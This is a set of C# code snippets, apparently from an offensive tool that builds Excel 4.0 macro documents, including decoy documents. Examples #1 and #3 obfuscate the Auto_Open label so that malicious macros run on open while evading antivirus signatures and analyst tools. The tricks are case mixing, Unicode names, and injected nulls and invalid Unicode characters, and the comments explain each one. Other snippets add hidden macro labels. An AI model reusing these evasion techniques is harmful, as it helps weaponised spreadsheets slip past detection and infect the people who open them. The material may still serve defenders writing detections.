Example #1
0
        /// <summary>
        /// We use a few tricks here to obfuscate the Auto_Open Lbl BIFF records.
        /// 1) By default the Lbl Auto_Open record is marked as fBuiltin = true with a single byte 0x01 to represent AUTO_OPEN
        ///    We avoid this easily sig-able series of bytes by using a string instead - which Excel will also process.
        ///    We can use labels like AuTo_OpEn and Excel will still use it - some analyst tools are case sensitive and don't
        ///    detect this.
        /// 2) The string we use for the Lbl can be Unicode, which will further break signatures expecting an ASCII Auto_Open string
        /// 3) We can inject null bytes into the label name and Excel will ignore them when hunting for Auto_Open labels.
        ///    The name manager will only display up to the first null byte - and most excel label parsers will also break on this.
        /// 4) The Unicode BOM character (0xFEFF/0xFFEF) is also disregarded by Excel. We can use this to break detections that will drop
        ///    nulls and look for Auto_Open without being case sensitive. By injecting this with nulls we break most detection.
        /// </summary>
        /// <returns></returns>
        public WorkbookStream ObfuscateAutoOpen(string localizedLabel)
        {
            Random randomUnicodeChar = new Random();

            string[]   badUnicodeChars          = { "\ufefe", "\uffff", "\ufeff", "\ufffe", "\uffef", "\ufff0", "\ufff1", "\ufff6", "\ufefd", "\u0000", "\udddd" };
            int        indexLabel               = 0;
            string     unicodeLabelWithBadChars = "";
            List <Lbl> labels      = GetAllRecordsByType <Lbl>();
            Lbl        autoOpenLbl = labels.First(l => l.fBuiltin && l.Name.Value.Equals("\u0001") ||
                                                  l.Name.Value.ToLower().StartsWith(localizedLabel));
            Lbl replaceLabelStringLbl = ((BiffRecord)autoOpenLbl.Clone()).AsRecordType <Lbl>();

            //Characters that work
            //fefe, ffff, feff, fffe, ffef, fff0, fff1, fff6, fefd, 0000, dddd
            //Pretty much any character that is invalid unicode - though \ucccc doesn't seem to work - need better criteria for parsing

            foreach (char localizedLabelChar in localizedLabel)
            {
                indexLabel = randomUnicodeChar.Next(localizedLabel.Length);
                unicodeLabelWithBadChars += badUnicodeChars[indexLabel] + localizedLabelChar;
            }
            replaceLabelStringLbl.SetName(new XLUnicodeStringNoCch(unicodeLabelWithBadChars, true));
            replaceLabelStringLbl.fBuiltin = false;

            // Hidden removes from the label manager entirely, but doesn't seem to work if fBuiltin is false
            // replaceLabelStringLbl.fHidden = true;

            WorkbookStream obfuscatedStream = ReplaceRecord(autoOpenLbl, replaceLabelStringLbl);

            obfuscatedStream = obfuscatedStream.FixBoundSheetOffsets();
            return(obfuscatedStream);
        }
Example #2
0
        public WorkbookStream NormalizeAutoOpenLabels()
        {
            List <Lbl> autoOpenLabels = WbStream.GetAutoOpenLabels();

            foreach (var label in autoOpenLabels)
            {
                Lbl fixedLabel = ((BiffRecord)label.Clone()).AsRecordType <Lbl>();
                fixedLabel.SetName(new XLUnicodeStringNoCch("Auto_Open"));
                WbStream = WbStream.ReplaceRecord(label, fixedLabel);
            }

            WbStream = WbStream.FixBoundSheetOffsets();

            return(WbStream);
        }
Example #3
0
        /// <summary>
        /// We use a few tricks here to obfuscate the Auto_Open Lbl BIFF records.
        /// 1) By default the Lbl Auto_Open record is marked as fBuiltin = true with a single byte 0x01 to represent AUTO_OPEN
        ///    We avoid this easily sig-able series of bytes by using a string instead - which Excel will also process.
        ///    We can use labels like AuTo_OpEn and Excel will still use it - some analyst tools are case sensitive and don't
        ///    detect this.
        /// 2) The string we use for the Lbl can be Unicode, which will further break signatures expecting an ASCII Auto_Open string
        /// 3) We can inject null bytes into the label name and Excel will ignore them when hunting for Auto_Open labels.
        ///    The name manager will only display up to the first null byte - and most excel label parsers will also break on this.
        /// 4) The Unicode BOM character (0xFEFF/0xFFEF) is also disregarded by Excel. We can use this to break detections that will drop
        ///    nulls and look for Auto_Open without being case sensitive. By injecting this with nulls we break most detection.
        /// </summary>
        /// <returns></returns>
        public WorkbookStream ObfuscateAutoOpen()
        {
            List <Lbl> labels      = GetAllRecordsByType <Lbl>();
            Lbl        autoOpenLbl = labels.First(l => l.fBuiltin && l.Name.Value.Equals("\u0001") ||
                                                  l.Name.Value.ToLower().StartsWith("auto_open"));
            Lbl replaceLabelStringLbl = ((BiffRecord)autoOpenLbl.Clone()).AsRecordType <Lbl>();

            //Characters that work
            //fefe, ffff, feff, fffe, ffef, fff0, fff1, fff6, fefd, 0000, dddd
            //Pretty much any character that is invalid unicode - though \ucccc doesn't seem to work - need better criteria for parsing
            //TODO [Stealth] Randomize which invalid unicode characters are injected into this string
            replaceLabelStringLbl.SetName(new XLUnicodeStringNoCch("\u0000A\uffffu\u0000\ufefft\ufffeo\uffef_\ufff0O\ufff1p\ufff6e\ufefdn\udddd", true));
            replaceLabelStringLbl.fBuiltin = false;

            // Hidden removes from the label manager entirely, but doesn't seem to work if fBuiltin is false
            // replaceLabelStringLbl.fHidden = true;

            WorkbookStream obfuscatedStream = ReplaceRecord(autoOpenLbl, replaceLabelStringLbl);

            obfuscatedStream = obfuscatedStream.FixBoundSheetOffsets();
            return(obfuscatedStream);
        }
        public void TestChangeLabel()
        {
            WorkbookStream macroWorkbookStream = new WorkbookStream(TestHelpers.GetMacroTestBytes());
            List <Lbl>     labels = macroWorkbookStream.GetAllRecordsByType <Lbl>();

            Lbl autoOpenLbl = labels.First(l => l.fBuiltin && l.Name.Value.Equals("\u0001"));

            Lbl replaceLabelStringLbl = ((BiffRecord)autoOpenLbl.Clone()).AsRecordType <Lbl>();

            replaceLabelStringLbl.SetName(new XLUnicodeStringNoCch("Auto_Open", true));
            replaceLabelStringLbl.fBuiltin = false;

            var cloneLabel  = ((BiffRecord)replaceLabelStringLbl.Clone()).AsRecordType <Lbl>();
            var cBytes      = cloneLabel.GetBytes();
            var rLabelBytes = replaceLabelStringLbl.GetBytes();

            Assert.AreEqual(rLabelBytes, cBytes);
            macroWorkbookStream = macroWorkbookStream.ReplaceRecord(autoOpenLbl, replaceLabelStringLbl);
            macroWorkbookStream = macroWorkbookStream.FixBoundSheetOffsets();

            ExcelDocWriter writer = new ExcelDocWriter();

            writer.WriteDocument(TestHelpers.AssemblyDirectory + Path.DirectorySeparatorChar + "changedLabel.xls", macroWorkbookStream.ToBytes());
        }
Example #5
0
        public WorkbookStream AddLabel(string label, Stack <AbstractPtg> rgce, bool isHidden = false, bool isUnicode = false, bool isMacroStack = false)
        {
            /*
             * Labels require a reference to an XTI index which is used to say which
             * BoundSheet8 record maps to the appropriate tab. In order to make this
             * record we need a SupBook record, and ExternSheet record to specify
             * which BoundSheet8 record to use.
             *
             * Currently this assumes there are no SupBook or ExternSheet records in
             * use, handling of these cases for complex decoy docs is coming
             * in the future.
             *
             * TODO handle existing SupBook/ExternSheet records when adding Lbl entries
             */

            List <SupBook>     supBooksExisting     = WbStream.GetAllRecordsByType <SupBook>();
            List <ExternSheet> externSheetsExisting = WbStream.GetAllRecordsByType <ExternSheet>();
            List <Lbl>         existingLbls         = WbStream.GetAllRecordsByType <Lbl>();

            ExternSheet lastExternSheet;

            if (supBooksExisting.Count > 0 || externSheetsExisting.Count > 0)
            {
                lastExternSheet = externSheetsExisting.Last();
            }
            else
            {
                InitializeGlobalStreamLabels();
                lastExternSheet = WbStream.GetAllRecordsByType <ExternSheet>().Last();;
            }

            Lbl newLbl = new Lbl(label, 0);

            if (isUnicode)
            {
                newLbl.SetName(new XLUnicodeStringNoCch(label, true));
            }

            if (isMacroStack)
            {
                newLbl.fProc = true;
                newLbl.fFunc = true;
            }

            if (isHidden)
            {
                newLbl.fHidden = true;
            }

            if (rgce != null)
            {
                newLbl.SetRgce(rgce);
            }
            else
            {
                newLbl.cce = 0;
            }

            if (existingLbls.Count > 0)
            {
                WbStream = WbStream.InsertRecord(newLbl, existingLbls.Last());
            }
            else
            {
                WbStream = WbStream.InsertRecord(newLbl, lastExternSheet);
            }

            WbStream = WbStream.FixBoundSheetOffsets();
            return(WbStream);
        }
Example #6
0
        public WorkbookStream AddLabel(string label, Stack <AbstractPtg> rgce, bool isHidden = false, bool isUnicode = false, bool isMacroStack = false)
        {
            /*
             * Labels require a reference to an XTI index which is used to say which
             * BoundSheet8 record maps to the appropriate tab. In order to make this
             * record we need a SupBook record, and ExternSheet record to specify
             * which BoundSheet8 record to use.
             */

            List <SupBook>     supBooksExisting     = WbStream.GetAllRecordsByType <SupBook>();
            List <ExternSheet> externSheetsExisting = WbStream.GetAllRecordsByType <ExternSheet>();
            List <Lbl>         existingLbls         = WbStream.GetAllRecordsByType <Lbl>();

            ExternSheet lastExternSheet;

            if (supBooksExisting.Count > 0 || externSheetsExisting.Count > 0)
            {
                lastExternSheet = externSheetsExisting.Last();
            }
            else
            {
                InitializeGlobalStreamLabels();
                lastExternSheet = WbStream.GetAllRecordsByType <ExternSheet>().Last();;
            }

            // For now we assume that any labels being added belong to the last BoundSheet8 we added
            Lbl newLbl = new Lbl(label, (ushort)(WbStream.GetAllRecordsByType <BoundSheet8>().Count));

            if (isUnicode)
            {
                newLbl.SetName(new XLUnicodeStringNoCch(label, true));
            }

            if (isMacroStack)
            {
                newLbl.fProc = true;
                newLbl.fFunc = true;
            }

            if (isHidden)
            {
                newLbl.fHidden = true;
            }

            if (rgce != null)
            {
                newLbl.SetRgce(rgce);
            }
            else
            {
                newLbl.cce = 0;
            }

            if (existingLbls.Count > 0)
            {
                WbStream = WbStream.InsertRecord(newLbl, existingLbls.Last());
            }
            else
            {
                WbStream = WbStream.InsertRecord(newLbl, lastExternSheet);
            }

            WbStream = WbStream.FixBoundSheetOffsets();
            return(WbStream);
        }